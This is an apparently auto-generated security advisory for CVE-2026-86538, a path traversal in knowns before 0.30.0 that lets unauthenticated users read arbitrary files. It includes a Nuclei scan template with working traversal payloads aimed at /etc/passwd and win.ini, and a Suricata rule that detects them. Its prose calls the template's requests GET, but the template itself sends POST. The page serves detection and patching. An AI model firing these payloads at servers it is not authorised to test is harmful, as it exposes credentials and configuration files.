CVE-2026-86538: knowns before 0.30.0 Path Traversal via templateFile parameter

What it is

knowns versions before 0.30.0 contain a path traversal vulnerability in the POST /api/templates/preview endpoint that allows unauthenticated attackers to read arbitrary files. Attackers can supply directory traversal sequences in the templateFile parameter to bypass path restrictions and read sensitive files like credentials and configuration through the JSON response.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-09-07).

Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 8 references on Exploit Observer

Live scores

EPSS

0.010
low predicted chance of attack

VEDAS

0.987
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 0.30.0.

Vendor guidance:

• GitHub Security Advisory (GHSA-fpxv-c555-rhm3) (vendor-advisory)
• knowns fix commit 09c5a96fd581 (patch)
• knowns v0.30.0 Release Notes (release-notes)

How to detect it

Nuclei template (active check)

Knowns - Path Traversal Arbitrary File Read via templateFile

Knowns before 0.30.0 is vulnerable to path traversal in the POST /api/templates/preview endpoint. The templateFile parameter is passed to filepath.Join without a containment check, so an unauthenticated attacker can supply traversal sequences to read arbitrary files outside the template directory. The file content is returned verbatim in the JSON “content” field of the response.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /api/templates/preview, GET /api/templates/preview); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-86538.yaml

id: CVE-2026-86538

info:
  name: "Knowns - Path Traversal Arbitrary File Read via templateFile"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Knowns before 0.30.0 is vulnerable to path traversal in the POST /api/templates/preview endpoint. The
    templateFile parameter is passed to filepath.Join without a containment check, so an unauthenticated attacker
    can supply traversal sequences to read arbitrary files outside the template directory. The file content is
    returned verbatim in the JSON "content" field of the response.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-86538&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=knowns&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-86538
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,knowns,lfi,traversal

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/templates/preview"
    headers:
      Content-Type: application/json
    body: |
      {"name":"vedas","templateFile":"../../../../../../../../etc/passwd"}
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200

  - method: POST
    path:
      - "{{BaseURL}}/api/templates/preview"
    headers:
      Content-Type: application/json
    body: |
      {"name":"vedas","templateFile":"../../../../../../../../windows/win.ini"}
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(extensions|fonts|mci extensions)\\]"
      - type: status
        status:
          - 200

CVE-2026-86538.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-86538 Knowns - Path Traversal Arbitrary File Read via templateFile Attempt. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-86538 Knowns - Path Traversal Arbitrary File Read via templateFile Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/templates/preview"; nocase; fast_pattern; http.request_body; content:"templateFile"; nocase; content:".."; distance:0; classtype:web-application-attack; reference:cve,CVE-2026-86538; reference:url,https://www.exploit.observer/?keyword=CVE-2026-86538&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=knowns&match=exact; sid:1053400; rev:1;)

CVE-2026-86538.rules on GitHub

References

Vendor advisories and patches

• GitHub Security Advisory (GHSA-fpxv-c555-rhm3) (vendor-advisory)
• knowns fix commit 09c5a96fd581 (patch)
• knowns v0.30.0 Release Notes (release-notes)

Technical analysis and advisories

• Template preview reads filepath.Join(tmpl.Path, templateFile) (v0.29.1) (technical-description)
• VulnCheck Advisory: knowns before 0.30.0 Path Traversal via templateFile parameter (third-party-advisory)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.